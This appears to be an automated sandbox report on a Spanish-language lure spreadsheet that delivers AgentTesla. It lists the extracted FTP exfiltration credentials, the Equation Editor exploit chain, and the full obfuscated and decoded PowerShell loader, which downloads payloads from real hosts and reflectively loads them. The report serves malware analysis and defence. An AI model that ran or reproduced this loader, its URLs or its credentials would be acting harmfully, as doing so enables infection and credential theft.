Analysis

  • max time kernel
    117s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    29-02-2024 20:00

General

  • Target

    informe bancario y motivo del pago rechazado.xls

  • Size

    30KB

  • MD5

    40e068be98ea0b6ca31af370328840b6

  • SHA1

    11e7096e6268536aa7e80e6f87c0c7815b067566

  • SHA256

    d7ae9c118c01c6751d64e011c70f601a73cb566df9ab3d43d25e69e30a5d8e4a

  • SHA512

    d7f114e8a91535e98a2ff1c492879ccb9b4979e9cfcfaab612cc80bb88c80f55f15bbc0dfc080175f509dd282c43712b60990dd1eed9cac84d0c4e5283f5a8a9

  • SSDEEP

    768:grYJUWXzyicoPdTeSGoqfSE8yCFDKPcM6c:grYhX2NATeSlzJqcM

Malware Config

Extracted

Family

agenttesla

Credentials

  • Protocol:
    ftp
  • Host:
    ftp://ftp.elquijotebanquetes.com
  • Port:
    21
  • Username:
    [email protected]
  • Password:
    4r@d15PS!-!h

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Blocklisted process makes network request 5 IoCs
  • Abuses OpenXML format to download file from external location
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Launches Equation Editor 1 TTPs 1 IoCs

    Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.

  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\informe bancario y motivo del pago rechazado.xls"
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:2124
  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" -Embedding
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:652
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:332
    • C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
      "C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
      1⤵
      • Blocklisted process makes network request
      • Launches Equation Editor
      • Suspicious use of WriteProcessMemory
      PID:2804
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\morning.vbs"
        2⤵
        • Blocklisted process makes network request
        • Suspicious use of WriteProcessMemory
        PID:1516
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTrecwBoDgTreHUDgTreZgBmDgTreGwDgTreZQBkDgTreEwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBHDgTreGUDgTredDgTreDgTretDgTreFIDgTreYQBuDgTreGQDgTrebwBtDgTreCDgTreDgTreLQBJDgTreG4DgTrecDgTreB1DgTreHQDgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTrecgBlDgTreHQDgTredQByDgTreG4DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBuDgTreHUDgTrebDgTreBsDgTreCDgTreDgTrefQDgTre7DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreQDgTreDgTreoDgTreCcDgTreaDgTreB0DgTreHQDgTrecDgTreBzDgTreDoDgTreLwDgTrevDgTreHUDgTrecDgTreBsDgTreG8DgTreYQBkDgTreGQDgTreZQBpDgTreG0DgTreYQBnDgTreGUDgTrebgBzDgTreC4DgTreYwBvDgTreG0DgTreLgBiDgTreHIDgTreLwBpDgTreG0DgTreYQBnDgTreGUDgTrecwDgTrevDgTreDDgTreDgTreMDgTreDgTre0DgTreC8DgTreNwDgTrezDgTreDkDgTreLwDgTreyDgTreDIDgTreNwDgTrevDgTreG8DgTrecgBpDgTreGcDgTreaQBuDgTreGEDgTrebDgTreDgTrevDgTreG4DgTreZQB3DgTreF8DgTreaQBtDgTreGEDgTreZwBlDgTreC4DgTreagBwDgTreGcDgTrePwDgTrexDgTreDcDgTreMDgTreDgTre3DgTreDgDgTreMgDgTre2DgTreDIDgTreMgDgTreyDgTreCcDgTreLDgTreDgTregDgTreCcDgTreaDgTreB0DgTreHQDgTrecDgTreDgTre6DgTreC8DgTreLwDgTre0DgTreDUDgTreLgDgTre3DgTreDQDgTreLgDgTrexDgTreDkDgTreLgDgTre4DgTreDQDgTreLwB4DgTreGEDgTrebQBwDgTreHDgTreDgTreLwBiDgTreGsDgTrecDgTreDgTrevDgTreHYDgTreYgBzDgTreF8DgTrebgBvDgTreHYDgTrebwBfDgTreG4DgTreZQB3DgTreF8DgTreaQBtDgTreGEDgTreZwBlDgTreC4DgTreagBwDgTreGcDgTreJwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTre7DgTreCDgTreDgTreaQBmDgTreCDgTreDgTreKDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTretDgTreG4DgTreZQDgTregDgTreCQDgTrebgB1DgTreGwDgTrebDgTreDgTrepDgTreCDgTreDgTreewDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreFQDgTreZQB4DgTreHQDgTreLgBFDgTreG4DgTreYwBvDgTreGQDgTreaQBuDgTreGcDgTreXQDgTre6DgTreDoDgTreVQBUDgTreEYDgTreODgTreDgTreuDgTreEcDgTreZQB0DgTreFMDgTredDgTreByDgTreGkDgTrebgBnDgTreCgDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreQgB5DgTreHQDgTreZQBzDgTreCkDgTreOwDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreIDgTreDgTre9DgTreCDgTreDgTreJwDgTre8DgTreDwDgTreQgBBDgTreFMDgTreRQDgTre2DgTreDQDgTreXwBTDgTreFQDgTreQQBSDgTreFQDgTrePgDgTre+DgTreCcDgTreOwDgTregDgTreCQDgTreZQBuDgTreGQDgTreRgBsDgTreGEDgTreZwDgTregDgTreD0DgTreIDgTreDgTrenDgTreDwDgTrePDgTreBCDgTreEEDgTreUwBFDgTreDYDgTreNDgTreBfDgTreEUDgTreTgBEDgTreD4DgTrePgDgTrenDgTreDsDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreEkDgTrebgBkDgTreGUDgTreeDgTreBPDgTreGYDgTreKDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTrePQDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreLgBJDgTreG4DgTreZDgTreBlDgTreHgDgTreTwBmDgTreCgDgTreJDgTreBlDgTreG4DgTreZDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTregDgTreGkDgTreZgDgTregDgTreCgDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQBnDgTreGUDgTreIDgTreDgTrewDgTreCDgTreDgTreLQBhDgTreG4DgTreZDgTreDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQBnDgTreHQDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreKQDgTregDgTreHsDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreC4DgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreOwDgTregDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBlDgTreG4DgTreZDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTretDgTreCDgTreDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreDsDgTreIDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEMDgTrebwBtDgTreG0DgTreYQBuDgTreGQDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreFMDgTredQBiDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreCgDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCwDgTreIDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEwDgTreZQBuDgTreGcDgTredDgTreBoDgTreCkDgTreOwDgTregDgTreCQDgTreYwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreEMDgTrebwBuDgTreHYDgTreZQByDgTreHQDgTreXQDgTre6DgTreDoDgTreRgByDgTreG8DgTrebQBCDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBTDgTreHQDgTrecgBpDgTreG4DgTreZwDgTreoDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreQwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQDgTregDgTreD0DgTreIDgTreBbDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreUgBlDgTreGYDgTrebDgTreBlDgTreGMDgTredDgTreBpDgTreG8DgTrebgDgTreuDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQBdDgTreDoDgTreOgBMDgTreG8DgTreYQBkDgTreCgDgTreJDgTreBjDgTreG8DgTrebQBtDgTreGEDgTrebgBkDgTreEIDgTreeQB0DgTreGUDgTrecwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHQDgTreeQBwDgTreGUDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBBDgTreHMDgTrecwBlDgTreG0DgTreYgBsDgTreHkDgTreLgBHDgTreGUDgTredDgTreBUDgTreHkDgTrecDgTreBlDgTreCgDgTreJwBQDgTreFIDgTreTwBKDgTreEUDgTreVDgTreBPDgTreEEDgTreVQBUDgTreE8DgTreTQBBDgTreEMDgTreQQBPDgTreC4DgTreVgBCDgTreC4DgTreSDgTreBvDgTreG0DgTreZQDgTrenDgTreCkDgTreOwDgTregDgTreCQDgTrebQBlDgTreHQDgTreaDgTreBvDgTreGQDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreB0DgTreHkDgTrecDgTreBlDgTreC4DgTreRwBlDgTreHQDgTreTQBlDgTreHQDgTreaDgTreBvDgTreGQDgTreKDgTreDgTrenDgTreFYDgTreQQBJDgTreCcDgTreKQDgTreuDgTreEkDgTrebgB2DgTreG8DgTreawBlDgTreCgDgTreJDgTreBuDgTreHUDgTrebDgTreBsDgTreCwDgTreIDgTreBbDgTreG8DgTreYgBqDgTreGUDgTreYwB0DgTreFsDgTreXQBdDgTreCDgTreDgTreKDgTreDgTrenDgTreHQDgTreeDgTreB0DgTreC4DgTredDgTreBuDgTreGUDgTrebQB1DgTreGMDgTrebwBkDgTreDQDgTreNgBlDgTreHMDgTreYQBiDgTreC8DgTreNgDgTrexDgTreDIDgTreLgDgTre1DgTreDkDgTreLgDgTrezDgTreC4DgTreMgDgTre5DgTreDEDgTreLwDgTrevDgTreDoDgTrecDgTreB0DgTreHQDgTreaDgTreDgTrenDgTreCDgTreDgTreLDgTreDgTregDgTreCcDgTreZDgTreBlDgTreHMDgTreYQB0DgTreGkDgTredgBhDgTreGQDgTrebwDgTrenDgTreCDgTreDgTreLDgTreDgTregDgTreCcDgTreZDgTreBlDgTreHMDgTreYQB0DgTreGkDgTredgBhDgTreGQDgTrebwDgTrenDgTreCDgTreDgTreLDgTreDgTregDgTreCcDgTreZDgTreBlDgTreHMDgTreYQB0DgTreGkDgTredgBhDgTreGQDgTrebwDgTrenDgTreCwDgTreJwBBDgTreGQDgTreZDgTreBJDgTreG4DgTreUDgTreByDgTreG8DgTreYwBlDgTreHMDgTrecwDgTrezDgTreDIDgTreJwDgTresDgTreCcDgTreJwDgTrepDgTreCkDgTrefQDgTregDgTreH0DgTre';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $codigo.replace('DgTre','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -Noprofile -command $OWjuxD"
          3⤵
          • Drops file in System32 directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2100
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://uploaddeimagens.com.br/images/004/739/227/original/new_image.jpg?1707826222', 'http://45.74.19.84/xampp/bkp/vbs_novo_new_image.jpg'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.tnemucod46esab/612.59.3.291//:ptth' , 'desativado' , 'desativado' , 'desativado','AddInProcess32',''))} }"
            4⤵
            • Blocklisted process makes network request
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2900
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
              5⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1312

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\6BADA8974A10C4BD62CC921D13E43B18_28DEA62A0AE77228DD387E155AD0BA27

      Filesize

      1KB

      MD5

      c73bd0e18f7fc1c33e48067c347c89f0

      SHA1

      3fc928b96216830df372e2ad0c513ed39ce40c11

      SHA256

      48edfe32e27f14fc03145bb94ffca1c6cab13e40f97531bfd56ef18e25446ad2

      SHA512

      e110d2434f67eab20b878d734e9868ae513307055e000e54c66696c2141d9f4ad9e4a32c614d316b0dbad6410fdc4267bb0c7c304fdc27b544decb4fece092d1

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

      Filesize

      67KB

      MD5

      753df6889fd7410a2e9fe333da83a429

      SHA1

      3c425f16e8267186061dd48ac1c77c122962456e

      SHA256

      b42dc237e44cbc9a43400e7d3f9cbd406dbdefd62bfe87328f8663897d69df78

      SHA512

      9d56f79410ad0cf852c74c3ef9454e7ae86e80bdd6ff67773994b48ccac71142bcf5c90635da6a056e1406e81e64674db9584928e867c55b77b59e2851cf6444

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\6BADA8974A10C4BD62CC921D13E43B18_28DEA62A0AE77228DD387E155AD0BA27

      Filesize

      408B

      MD5

      e6ccd1e56ef6e782d97e76f725930588

      SHA1

      d0e4e5464e565e4deb4e0b24857d4e84890e924e

      SHA256

      9c52ae635736ab4a64c95761257647a64ade17de463499d840ff7f78358000b6

      SHA512

      5e82bdb3b1a73d7b4ac0a78843d7d8c02f7d1e0dd001cafcabc0b669be67fef4353c8c7c844292aa046db2a417e47616a5caa02c3e03e5d6588db23775836eee

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

      Filesize

      344B

      MD5

      f83050acac9e46abd68d8b451780845d

      SHA1

      29ef067876804ec0a08a1e5f4dcf68427f4b35d8

      SHA256

      f17507861088df98915f8d0dddc89b40a098db94cc683e8e90e744df906ebfe3

      SHA512

      c776164017e1a137bc194b613affc25496406fd07d98256a00fb0dae67ac016eac27e916ed48fef8911ef406c08022ebfae5666897a134e7f829d70a73121867

    • C:\Users\Admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSD-{363874E3-33E7-477C-9553-3127D8253C5B}.FSD

      Filesize

      128KB

      MD5

      a4657161c2553131e0b013d34845334f

      SHA1

      2d3446b05c33c9b99bd94dabf4a666bba2772006

      SHA256

      2ac5f821c6299e19a1b69ad6a90112b9d6c45b932fc861095c554a20620d89ee

      SHA512

      35d19effb3cce461c75b050cb15f6a6334d138eadab914fa81ed0979846d8ff82c8116b295a27045658546b8af626489eaa642e6c1c10700ba5bf2c219d040c1

    • C:\Users\Admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\LocalCacheFileEditManager\FSD-CNRY.FSD

      Filesize

      128KB

      MD5

      d67ac4a37c3a9a3ff056b9a023cedd56

      SHA1

      8fc9f907b096dc4e636c24de4d46aef205e7f506

      SHA256

      e5f3d550905a74410a1b602ef6f596ab1ef40f88ecfde50532a375aabdfcd30a

      SHA512

      5115e43a8cc1e7d6e0b4970a85bd66eda3a258ffe9a7af590fd756ca7b3672568862d0c7a16a9b544843405c2eef41f07a6530dcbf147230210544d1f775a8c1

    • C:\Users\Admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\LocalCacheFileEditManager\FSD-CNRY.FSD

      Filesize

      128KB

      MD5

      3c11de383d6aab0da84fb14ee59a935d

      SHA1

      121568c02e129f03e002f7fb5f1a6bd5ca9140da

      SHA256

      e7a4f512d20521b66cf18e11453f99c9f7c1411f0fda46cc26f4ec79d64583a6

      SHA512

      83a5a21fe709657cc8a0d8b0944edc7154c9b5038053c7ea10f71b609ef78768af10964d4a4511a8baed2ae681587a256a1120ed65ff724eb59063aa1a8a07fe

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNQNAXHS\mrngunlockurpurelovetounderstandhowimportanitsitogetreadyforlovetogetgreatlovertogetgreatlover[1].doc

      Filesize

      69KB

      MD5

      90454adfffe4a15a04a97ad173fd2ca3

      SHA1

      91b00307970f914356907c4e9655e68efa6515fb

      SHA256

      82e52b61e68ba6d8644476c6b23061b528053aa8a8d1f9fd85979a77f02e7edd

      SHA512

      28dde52c89e79c52ce5a03a582aa537126e2e57d26622f977356eac9533a14e37e4943b845ae68e2393267e66a3a3ce81873ecabe4ee6994974997a15b87d6e8

    • C:\Users\Admin\AppData\Local\Temp\Tar7567.tmp

      Filesize

      175KB

      MD5

      dd73cead4b93366cf3465c8cd32e2796

      SHA1

      74546226dfe9ceb8184651e920d1dbfb432b314e

      SHA256

      a6752b7851b591550e4625b832a393aabcc428de18d83e8593cd540f7d7cae22

      SHA512

      ce1bdd595065c94fa528badf4a6a8777893807d6789267612755df818ba6ffe55e4df429710aea29526ee4aa8ef20e25f2f05341da53992157d21ae032c0fb63

    • C:\Users\Admin\AppData\Local\Temp\{6F8A0E2F-286B-4B98-A1E4-28AB3515E5F4}

      Filesize

      128KB

      MD5

      7bf00e72c5067bd80bbdc911e523ded2

      SHA1

      937f30cb40f0a5c31e3b51c55a2d4a307236d496

      SHA256

      b6de59f5ffbc0a3ea142724ef3ca8ed4c19fd3defa8f38e66d71fb17d2a709e2

      SHA512

      434670f36800dad8a71cc677f688026440941a5ab1bec4bbead114cb0c600a40387748200bd819ea287b02dbdec8b2dd3fce9020e40ec7d81eb64c239ba8aa8b

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      288bd259726a265617e482a16a09bb9e

      SHA1

      25c5f6db5c2cc7c59546a1d4db78963562043192

      SHA256

      c436fb3f880331ccde3bcb1d29523ea2eb8cd6b439c7f0b4af7ef25a5038476f

      SHA512

      6b6bfc222a634bebebdb06c5f6d70e2184c4d500030e564fec3b2043b45b8bca53d7b45cf05e5feedf3698a30b4bc3def72bbcbf0460217e426dc7d327ea9768

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\IHUISW7L.txt

      Filesize

      166B

      MD5

      f6632889f5bcb79449706bfc140ccc91

      SHA1

      4bccf4e00639381c438ef4bc135e504295b6bac5

      SHA256

      5b839d974443998cae3bf88dcf0767dc496aae2ab111a92b04899a7de475e87b

      SHA512

      1b22fcecfde5316204f42859f4d424a3aa1e460668529de3b604bd694083ad672c107c000e053f032fdf3cd2078e34b8412749ccbc8fed8c4e61e29d434ba39a

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

      Filesize

      7KB

      MD5

      0125231d83d03cf664a3765a3cd61606

      SHA1

      b9b0b4de0ca078d75b62a54ab9bfd006983ede3a

      SHA256

      ddf0406caeb6688214c2c6bcea52a28d183a25578ee2a1ddf0fa793ff8510eb8

      SHA512

      6b3bb12e9cadfb473ba30329b0775c2e0cc67a3bfc958b0952adf67989600e6313cf8823f957d15013f89120d4d7d9f2f4c5128640714eff05f3b9a0fb3593ec

    • C:\Users\Admin\AppData\Roaming\morning.vbs

      Filesize

      1KB

      MD5

      761483cb58a23f68e9d439fae4ccf44c

      SHA1

      e3ded90f50068195cdcf39a382aadfebbf7cc72d

      SHA256

      35c9ee0fc9a549fef561c149cf3d62531f536372a5e8068d75f1bcfd7c710d00

      SHA512

      205fcf6c6f33db1d06a8c0c66993a6379db659c1338cc445e9b72c2114651e9f7ebbf9a13a81856ba1f1025b19aae7cde5778bdf09e446eb58b29718c4e10fe1

    • memory/652-181-0x00000000729ED000-0x00000000729F8000-memory.dmp

      Filesize

      44KB

    • memory/652-57-0x00000000729ED000-0x00000000729F8000-memory.dmp

      Filesize

      44KB

    • memory/652-55-0x000000002FC31000-0x000000002FC32000-memory.dmp

      Filesize

      4KB

    • memory/652-237-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/652-238-0x00000000729ED000-0x00000000729F8000-memory.dmp

      Filesize

      44KB

    • memory/652-59-0x00000000041F0000-0x00000000041F2000-memory.dmp

      Filesize

      8KB

    • memory/1312-203-0x0000000000400000-0x0000000000442000-memory.dmp

      Filesize

      264KB

    • memory/1312-212-0x0000000000400000-0x0000000000442000-memory.dmp

      Filesize

      264KB

    • memory/1312-240-0x0000000000C70000-0x0000000000CB0000-memory.dmp

      Filesize

      256KB

    • memory/1312-239-0x00000000665E0000-0x0000000066CCE000-memory.dmp

      Filesize

      6.9MB

    • memory/1312-215-0x0000000000C70000-0x0000000000CB0000-memory.dmp

      Filesize

      256KB

    • memory/1312-213-0x00000000665E0000-0x0000000066CCE000-memory.dmp

      Filesize

      6.9MB

    • memory/1312-208-0x0000000000400000-0x0000000000442000-memory.dmp

      Filesize

      264KB

    • memory/1312-206-0x0000000000400000-0x0000000000442000-memory.dmp

      Filesize

      264KB

    • memory/1312-204-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

      Filesize

      4KB

    • memory/1312-202-0x0000000000400000-0x0000000000442000-memory.dmp

      Filesize

      264KB

    • memory/1312-201-0x0000000000400000-0x0000000000442000-memory.dmp

      Filesize

      264KB

    • memory/1312-200-0x0000000000400000-0x0000000000442000-memory.dmp

      Filesize

      264KB

    • memory/2100-214-0x000000006A4B0000-0x000000006AA5B000-memory.dmp

      Filesize

      5.7MB

    • memory/2100-177-0x000000006A4B0000-0x000000006AA5B000-memory.dmp

      Filesize

      5.7MB

    • memory/2100-180-0x0000000002520000-0x0000000002560000-memory.dmp

      Filesize

      256KB

    • memory/2100-178-0x000000006A4B0000-0x000000006AA5B000-memory.dmp

      Filesize

      5.7MB

    • memory/2100-193-0x0000000002520000-0x0000000002560000-memory.dmp

      Filesize

      256KB

    • memory/2100-192-0x0000000002520000-0x0000000002560000-memory.dmp

      Filesize

      256KB

